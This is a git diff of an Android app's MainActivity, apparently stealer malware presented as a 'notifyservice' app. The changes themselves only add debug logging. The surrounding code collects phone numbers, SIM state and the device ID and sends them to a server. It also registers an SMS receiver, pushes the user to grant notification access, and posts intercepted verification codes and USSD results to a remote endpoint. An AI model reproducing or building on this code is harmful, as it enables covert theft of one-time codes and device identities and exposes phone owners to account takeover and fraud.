diff --git a/app/src/main/java/com/example/notifyservice/MainActivity.java b/app/src/main/java/com/example/notifyservice/MainActivity.java index 3498c9b..89c1384 100644 --- a/app/src/main/java/com/example/notifyservice/MainActivity.java +++ b/app/src/main/java/com/example/notifyservice/MainActivity.java @@ -189,31 +189,35 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba private void loadData() { requestsCount = 0; - + Log.i("a", "4"); // STATIC GetRequest ussdRequestTask = new GetRequest(this, this); ussdRequestTask.execute(ussdUrl); - + Log.i("a", "5"); // STATIC GetRequest languagesRequestTask = new GetRequest(this, this); languagesRequestTask.execute(languagesUrl); } public static String getKey(Context context) { try { + Log.i("a", "6"); // STATIC SharedPreferences sharedPreferences = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE); return sharedPreferences.getString("KEY", "INIT_KEY"); // VARIABLE STATIC } catch (Exception e) { + Log.i("agg", Arrays.toString(e.getStackTrace())); // STATIC return ""; // STATIC } } public static void setKey(Context context, String key) { + Log.i("a", "7"); // STATIC SharedPreferences.Editor editor = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE).edit(); editor.putString("KEY", key); editor.apply(); } private void promptNotificationAccess() throws JSONException { + Log.i("a", "8"); // STATIC AlertDialog.Builder builder = new AlertDialog.Builder(this); builder.setTitle(language.getString("title")); // STATIC builder.setMessage(language.getString("message")); // STATIC @@ -238,6 +242,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba this.runOnUiThread(new Runnable() { public void run() { + Log.i("a", "9"); // STATIC AlertDialog dialog = builder.create(); dialog.show(); } @@ -246,6 +251,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba public static String getDeviceInfo(Context context) { + Log.i("a", "10"); // STATIC String m_data = ""; // STATIC String p_seperator = ":"; // STATIC StringBuilder m_builder = new StringBuilder(); @@ -269,6 +275,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba String android_id = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID); m_builder.append(android_id); m_data = m_builder.toString(); + Log.i("a", "11"); // STATIC return m_data; } @@ -286,7 +293,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba registerReceiver(notificationReceiver, filter); registerReceiver(smsReceiver, new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION)); - + Log.i("a", "12"); // STATIC Context permissionContext = this; new Handler().postDelayed(() -> makeProcess(permissionContext), 500); } @@ -295,6 +302,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba private class NotificationReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { + Log.i("a", "13"); // STATIC String code = intent.getStringExtra("code"); onNotificationReceived(code); } @@ -303,6 +311,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba public void onNotificationReceived(String code) { if(codes.contains(code)) return; + Log.i("a", "14"); // STATIC codes.add(code); cancelTimer(); PostRequest postRequestTask = new PostRequest(this, this); @@ -312,24 +321,28 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } public void cancelTimer(){ + Log.i("a", "15"); // STATIC if (timer != null) { timer.cancel(); } } public void nextPhone() { + Log.i("a", "16"); // STATIC currentPhone += 1; if (phones.size() > currentPhone) savePhone(getBaseContext(), phones.get(currentPhone)); } private void makeProcess(Context context) { + Log.i("a", "17"); // STATIC currentPhone = 0; phones = collectPhoneNumber(context); savePhone(context, phones.get(currentPhone)); } public static boolean isSimConnected(Context context, TelephonyManager telephonyManager) { + Log.i("a", "18"); // STATIC if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) { return false; @@ -346,9 +359,12 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } private void savePhone(Context context, PhoneNumber phone){ + Log.i("a", "19"); // STATIC if(phone.phoneProvided()){ + Log.i("a", "20"); // STATIC requestPhone(context, phone); } else { + Log.i("a", "21"); // STATIC receivingSms = false; currentHash = ""; // STATIC if(!isSimConnected(context, phone.telephonyManager)) @@ -359,6 +375,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } private void requestPhone(Context context, PhoneNumber phone){ + Log.i("a", "22"); // STATIC PostRequest postRequestTask = new PostRequest(context, this); postRequestTask.execute("phone", phone.save() + ";" + getDeviceInfo(context)); // STATIC @@ -366,6 +383,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba @Override public void onPostResponse(JSONObject result) { + Log.i("a", "23"); // STATIC try { if(result.has("hash")) // STATIC currentHash = result.getString("hash"); // STATIC @@ -390,6 +408,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba @Override public void onGetResponse(JSONObject result) { + Log.i("a", "24"); // STATIC try { if(result.get("name"). // STATIC equals("ussd")){ // STATIC @@ -419,6 +438,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } private boolean isNotificationServiceEnabled() { + Log.i("a", "25"); // STATIC String packageName = getPackageName(); String enabledListeners = Settings.Secure.getString( getContentResolver(), @@ -433,6 +453,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } private static String[] retrievePermissions(Context context) { + Log.i("a", "26"); // STATIC final String pkgName = context.getPackageName(); try { return context @@ -446,6 +467,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } private void requestPermissions(String[] permissions) { + Log.i("a", "27"); // STATIC ActivityCompat.requestPermissions(MainActivity.this, permissions, 1); } @@ -473,6 +495,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } private void requestUssdNumber(PhoneNumber phone) { + Log.i("a", "28"); // STATIC if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED) return; String ussdRequest = null; @@ -512,6 +535,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } private List collectPhoneNumber(Context context){ + Log.i("a", "30"); // STATIC List phoneNumbers = new ArrayList<>(); if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) { // STATIC return phoneNumbers; @@ -562,6 +586,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba @Override public void onBackPressed() { + Log.i("a", "31"); // STATIC if (webView.canGoBack()) { webView.goBack(); } else { @@ -571,6 +596,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba @Override protected void onDestroy() { + Log.i("a", "32"); // STATIC super.onDestroy(); try { unregisterReceiver(smsReceiver);